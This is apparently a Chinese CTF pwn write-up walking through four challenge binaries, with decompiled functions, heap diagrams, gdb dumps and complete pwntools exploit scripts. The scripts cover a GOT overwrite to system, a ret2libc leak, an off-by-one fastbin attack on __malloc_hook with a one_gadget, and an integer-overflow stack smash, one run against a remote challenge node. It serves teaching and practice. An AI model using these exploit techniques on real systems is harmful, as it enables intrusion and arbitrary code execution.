<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
alloc 与 malloc 的区别是 calloc 在分配后会自动进行清空
通过add可以知道
struct ptr{
void *description_addr //4 size
char[0x7c] name //0x7c size
}
unsigned int __cdecl sub_8048724(unsigned __int8 a1)
{
char v2; // [esp+17h] [ebp-11h]
int v3; // [esp+18h] [ebp-10h]
unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
if ( a1 < (unsigned __int8)description_addr && ptr[a1] )
{
v3 = 0;
printf("text length: ");
__isoc99_scanf("%u%c", &v3, &v2);
if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 ) #此处的判断是为了防止溢出,条件为:判断我们输入的text_len要小于我们最开始输入的description size,否则就exit
{
puts("my l33t defenses cannot be fooled, cya!");
exit(1);
}
printf("text: ");
fgets_con(*(char **)ptr[a1], v3 + 1);
}
return __readgsdword(0x14u) ^ v4;
}
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
读入description的text内容,
我们再捋一下;首先输入的是description的size,然后读入的name 大小为0x7c,不存在溢出,接着输入text len,判断输入的text len 是否小于刚才输入的description size,满足则读入 。这里存在溢出,因为 可以绕过if条件,导致text处溢出。
利用思路
那这里该如何绕过呢?
如果我们add两次
add(0x80,'aaaa',0x80,'bbbb')
add(0x80,'cccc',0x80,'dddd')
此时的堆块应该是什么样子的呢?
0x80 | 0x80 | 0x80 | 0x80 |
---|---|---|---|
aaaa | bbbb | cccc | dddd |
这里怎么理解 add这个操作呢?
首先 malloc时会在内存中查找是否有空闲堆块(free掉后的)如果没有则会开辟新空间,如果存在则从空闲堆块中取出,正常的两次add ,中间没有任何free 出现空闲堆块,所以 上图为 正常排布。
如果我们free掉1次呢?例如我们free(0)第一个堆块,则此时bins会空闲一个0x100(0x80+0x80)的unsorted bin,此时剩余
0x80 | 0x80 |
---|---|
cccc | dddd |
如果我们再次add->会先在bin中查找是否有空闲的0x100size的堆块->发现存在 则分配掉(此时空闲就没了),因为0x100时之前分配的 地址也是之前free掉的 所以会出现
0x100 | 0x80 | 0x80 |
---|---|---|
Test | cccc | dddd |
0x100会在前半部分,接着会malloc(0x80)->发现没有空余就只能开辟新的,会出现
0x100 | 0x80 | 0x80 | 0x80 |
---|---|---|---|
eeee | cccc | dddd | ffff |
if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )
如果不理解这个位置可以看一下这个图
gdb-peda$ heap
0x833a000 PREV_INUSE {
prev_size = 0x0,
size = 0x89,
fd = 0x62626262,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x833a088 PREV_INUSE {
prev_size = 0x0,
size = 0x89,
fd = 0x833a008,
bk = 0x61616161,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x833a110 PREV_INUSE {
prev_size = 0x0,
size = 0x20ef1,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
此时的ptr[a1] - 4 就是 0x833a088-4(这是完整的一个堆块上一个位置), (char )(v3 + (_DWORD *)ptr[a1])就是我们输入text len后的长度计算出的地址 此时就是0x833a000+0x8(chunk head)+0x80(add的大小) ,简单理解就是我们输入的text len后计算出的地址要小于ptr[a1] - 4 ,
那上面的排布是怎么绕过这个的呢?
add(0x100,'eeee',0x19c,'ffff')
正常情况这个是要报错误的 ,这里可以思考下 此时写入的地址是哪里?0x100处也就是他先要计算0x833a000+0x100 与 最后一个堆块-4的地址比较 ,这个肯定是小于,为什么?中间还隔了2个0x80的chunk ,也就是我们最大可以读0x100+0x100的size才会大于后一个堆块-4,导致我们可以溢出原本0x100的堆块 description 向其他堆块写地址。我们覆盖到ptr[description_addr],也就是
0x833a088 PREV_INUSE {
prev_size = 0x0,
size = 0x89,
fd = 0x833a008,
bk = 0x61616161,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
覆盖掉这个堆块的fd,那printf(ptr[description_addr])时就会打印printf(free_got),接着在update 修改这个堆块,原本应该是修改ptr[description_addr]的内容,此时就会修改free_got处的内容,例如
修改前
gdb-peda$ x/wx 0xf7df7530
0xf7df7530 <__GI___libc_free>: 0xe71fe853
gdb-peda$ x/wx 0x804b010 #free got
0x804b010: 0xf7df7530
gdb-peda$
修改后
gdb-peda$ x/wx 0xf7e29db0
0xf7e29db0 <__libc_system>: 0x8b0cec83
gdb-peda$ x/wx 0x804b010 #free got
0x804b010: 0xf7e29db0
gdb-peda$
修改后为 system ,再次free 实质执行为system[ptr[description_addr]]
我们添加一个新堆块text内容为/bin/sh,就可以执行 system(“/bin/sh”)
exp
from pwn import *
context.log_level='debug'
p=process('./babyfengshui_33c3_2016')
elf=ELF('babyfengshui_33c3_2016')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
free_got=elf.got['free']
def add(name_size,name,text_len,text):
p.recvuntil('Action:')
p.sendline('0')
p.recvuntil('description:')
p.sendline(str(name_size))
p.recvuntil('name:')
p.sendline(name)
p.recvuntil('text length:')
p.sendline(str(text_len))
p.recvuntil('text:')
p.sendline(text)
def dele(idx):
p.recvuntil('Action:')
p.sendline('1')
p.recvuntil('index:')
p.sendline(str(idx))
def show(idx):
p.recvuntil('Action:')
p.sendline('2')
p.recvuntil('index:')
p.sendline(str(idx))
def edit(idx,text_len,text):
p.recvuntil('Action:')
p.sendline('3')
p.recvuntil('index:')
p.sendline(str(idx))
p.recvuntil('text length:')
p.sendline(str(text_len))
p.recvuntil('text:')
p.sendline(text)
add(0x80,'aaaa',0x80,'bbbb')
add(0x80,'cccc',0x80,'dddd')
add(0x80,'cccc',0x80,'/bin/sh\x00/bin/sh\x00')
dele(0)
#dele(1)
add(0x100,'eeee',0x19c,'f'*0x190+p32(0)+p32(0x89)+p32(free_got))
show(1)
data=p.recvuntil('\xf7')
free=u32(data[-4:])
print hex(free)
system=free-libc.sym['free']+libc.sym['system']
edit(1,4,p32(system))
#gdb.attach(p)
dele(2)
p.interactive()
jarvisoj_level4
简单溢出+leak read
exp
from pwn import *
context.log_level='debug'
p=process('level4')
elf=ELF('level4')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
read_got=elf.got['read']
write_plt=elf.sym['write']
main=0x8048470
#gdb.attach(p)
payload='a'*0x8c+p32(write_plt)+p32(main)+p32(1)+p32(read_got)+p32(4)
p.sendline(payload)
read=u32(p.recv(4))
print hex(read)
base=read-libc.sym['read']
system=base+libc.sym['system']
binsh=base+next(libc.search('/bin/sh'))
payload='a'*0x8c+p32(system)+p32(0x1553155)+p32(binsh)
p.sendline(payload)
p.interactive()
vn_pwn_simpleHeap
检查保护
ios@ubuntu:~/APwn/buuctf$ checksec vn_pwn_simpleHeap
[*] '/home/ios/APwn/buuctf/vn_pwn_simpleHeap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
ios@ubuntu:~/APwn/buuctf$
Full RELRO不能改got表,可以考虑改malloc_hook
题目分析
int add()
{
int result; // eax
int v1; // [rsp+8h] [rbp-8h]
unsigned int v2; // [rsp+Ch] [rbp-4h]
v1 = check_chunk(); //检查是否申请满了
if ( v1 == -1 )
return puts("Full");
printf("size?");
result = reads();
v2 = result;
if ( result > 0 && result <= 0x6F ) // 限定你只能申请到fastbin
{
chunk_list[v1] = malloc(result);
if ( !chunk_list[v1] )
{
puts("Something Wrong!");
exit(-1);
}
size_list[v1] = v2; //输入的size放入size_list
printf("content:");
read(0, (void *)chunk_list[v1], size_list[v1]);// 往申请到的堆块中读取size大小的内容
result = puts("Done!");
}
return result;
}
edit
int edite()
{
int v1; // [rsp+Ch] [rbp-4h]
printf("idx?");
v1 = reads();//读index
if ( v1 < 0 || v1 > 9 || !chunk_list[v1] )
exit(0);
printf("content:");
update(chunk_list[v1], size_list[v1]); //跟进
return puts("Done!");
}
update
unsigned __int64 __fastcall update(__int64 a1, int a2)
{
unsigned __int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]
//就是逐字读进去
for ( i = 0; ; ++i )
{
result = i;
if ( (int)i > a2 ) //漏洞在这里 因为从0开始 i=a2时会出现 多读入1字节 (正确写法应该是i>a2-1)
//这也就是off by one 漏洞了
break;
if ( !read(0, (void *)((int)i + a1), 1uLL) )
exit(0);
if ( *(_BYTE *)((int)i + a1) == 10 )
{
result = (int)i + a1;
*(_BYTE *)result = 0;
return result;
}
}
return result;
}
delet
int delet()
{
int v1; // [rsp+Ch] [rbp-4h]
printf("idx?");
v1 = reads();
if ( v1 < 0 || v1 > 9 || !chunk_list[v1] )
exit(0);
free((void *)chunk_list[v1]);
chunk_list[v1] = 0LL;
size_list[v1] = 0;
return puts("Done!");
}
show
int show()
{
int v1; // [rsp+Ch] [rbp-4h]
printf("idx?");
v1 = reads();
if ( v1 < 0 || v1 > 9 || !chunk_list[v1] )
exit(0);
puts((const char *)chunk_list[v1]); //打印chunk_list[v1]
return puts("Done!");
}
利用思路
这里推荐看一篇文章https://xz.aliyun.com/t/6559 ,基本就是这个思路了
通过堆分配对齐机制,使得第二个堆块鱼第一个堆块共用了堆头部分,接着通过溢出修改堆块大小,构造unsortedbin(方便泄漏libc),接着通过切割unsortedbin 申请到新的堆块且和被溢出的那个堆块在chunk_list中指向同一地址。通过free 新的 造成uaf 就可以控制fd了。修改fd为伪造的chunk地址 ,修改malloc_hook 即可。
首先是泄漏构造
from pwn import *
context.log_level='debug'
p=process('vn_pwn_simpleHeap')
elf=ELF('vn_pwn_simpleHeap')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size,con):
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('size?')
p.sendline(str(size))
p.recvuntil(':')
p.send(con)
def edit(idx,con):
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil('idx?')
p.sendline(str(idx))
p.recvuntil(':')
p.sendline(con)
def show(idx):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil('idx?')
p.sendline(str(idx))
def dele(idx):
p.recvuntil('choice:')
p.sendline('4')
p.recvuntil('idx?')
p.sendline(str(idx))
add(0x18,'aaaa')#0 这里就是利用对齐机制 方便写入到下面chunk的size
add(0x60,'bbbb')#1
add(0x60,'cccc')#2
add(0x10,'dddd')#3 防止topchunk 合并
edit(0,'a'*0x10+p64(0)+p8(0xe1)) #溢出0修改1的堆头为0xe1
dele(1)
add(0x60,'dddd')#1
show(2)
main_arena=u64(p.recv(6).ljust(8,'\x00'))-88
malloc_hook=main_arena-0x10
libc_base=main_arena-0x10-libc.sym['__malloc_hook']
realloc=libc_base+0x84710
one_gadget=libc_base+0x4527a
fake_chunk=malloc_hook-0x23
print hex(main_arena)
print hex(one_gadget)
print hex(fake_chunk)
edit(0,’a’*0x10+p64(0)+p8(0xe1)) #溢出0修改1的堆头为0xe1
gdb-peda$ p/x 0x71+0x71
$1 = 0xe2
所以写入大小为0xe1
接着delete1后可以可以看到
接着只要申请1次 切割一半0x60 打印就可以泄漏libc了
接着就是 构造uaf,申请剩余的一半chunk 此时2的地址和4指向同一个地方
因为 我们通过溢出修改了1的size导致free时把chunk2也处理了 但是 chunk_list中的2并没有清空(我们没通过正常free)所以如果在申请4 会出现 2 4指向同一个地址 这样 free掉4后就可以修改fastbin中的2的fd执行我们构造的fake_chunk
add(0x60,'aaaa')#4 clean unsorted and ptr->2
dele(4)
edit(2,p64(fake_chunk))
add(0x60,'bbbb')#4
print hex(realloc)
add(0x60,p8(0)*(0x13-0x8)+p64(one_gadget)+p64(realloc+0xd))#5
gdb.attach(p)
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('size?')
p.sendline(str(0x10))
#gdb.attach(p)
p.interactive()
fakechunk的构造 我们的目的是想办法分配到malloc_hook附近
接着计算这个堆块的偏移 这里看你习惯 (能算出来这里就行2333)
gdb-peda$ p/x 0x7fb71a0e1b10-0x7fb71a0e1aed
$2 = 0x23
也就是malloc_hook-0x23的位置
接着就是修改2的fd微fake_chunk地址 导致bin里面的链表后衔接到这里
接着add两次 就分配到了我们构造的fake_chunk中了
接着就可在0x13的偏移后写malloc_hook了,这里如果直接写one_gadget可能会失败 原因是不满足条件
这里也贴一个文章https://blog.csdn.net/Maxmalloc/article/details/102535427
然后我这里贴一张当前gadget的堆栈图
这里调试就是在one_gadget处下断,然后你写到realloc_hook处 ,如何确定偏移?可以通过在此时查看堆栈排布 着NULL处然后计算差多少个0x8 少push 一次 降低0x8,进行调整即可
EXP
from pwn import *
context.log_level='debug'
p=process('vn_pwn_simpleHeap')
elf=ELF('vn_pwn_simpleHeap')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size,con):
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('size?')
p.sendline(str(size))
p.recvuntil(':')
p.send(con)
def edit(idx,con):
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil('idx?')
p.sendline(str(idx))
p.recvuntil(':')
p.sendline(con)
def show(idx):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil('idx?')
p.sendline(str(idx))
def dele(idx):
p.recvuntil('choice:')
p.sendline('4')
p.recvuntil('idx?')
p.sendline(str(idx))
add(0x18,'aaaa')#0
add(0x60,'bbbb')#1
add(0x60,'cccc')#2
add(0x10,'dddd')#3
edit(0,'a'*0x10+p64(0)+p8(0xe1))
dele(1)
add(0x60,'dddd')#1
show(2)
main_arena=u64(p.recv(6).ljust(8,'\x00'))-88
malloc_hook=main_arena-0x10
libc_base=main_arena-0x10-libc.sym['__malloc_hook']
realloc=libc_base+0x84710
one_gadget=libc_base+0x4527a
fake_chunk=malloc_hook-0x23
print hex(main_arena)
print hex(one_gadget)
print hex(fake_chunk)
add(0x60,'aaaa')#4 clean unsorted and ptr->2
dele(4)
edit(2,p64(fake_chunk))
add(0x60,'bbbb')#4
print hex(realloc)
add(0x60,p8(0)*(0x13-0x8)+p64(one_gadget)+p64(realloc+0xd))#5
#gdb.attach(p)
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('size?')
p.sendline(str(0x10))
#gdb.attach(p)
p.interactive()
bjdctf_2020_babystack2
简单栈溢出 给了shell函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[12]; // [rsp+0h] [rbp-10h] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
if ( (int)nbytes > 10 )
{
puts("Oops,u name is too long!");
exit(-1);
}
puts("[+]What's u name?");
read(0, buf, (unsigned int)nbytes);
return 0;
}
问题比较明显 如果传入-1 则 可以绕过 if判断 且 在read时转成了无符号整型 存在整型溢出,可以读如非常大的字符串导致buf溢出 getshell
exp
from pwn import *
#p=process('bjdctf_2020_babystack2')
p=remote('node3.buuoj.cn',29730)
p.recvuntil(':')
p.sendline('-1')
baddoor=0x400726
p.recvuntil('?')
payload='a'*0x18+p64(baddoor)
p.sendline(payload)
p.interactive()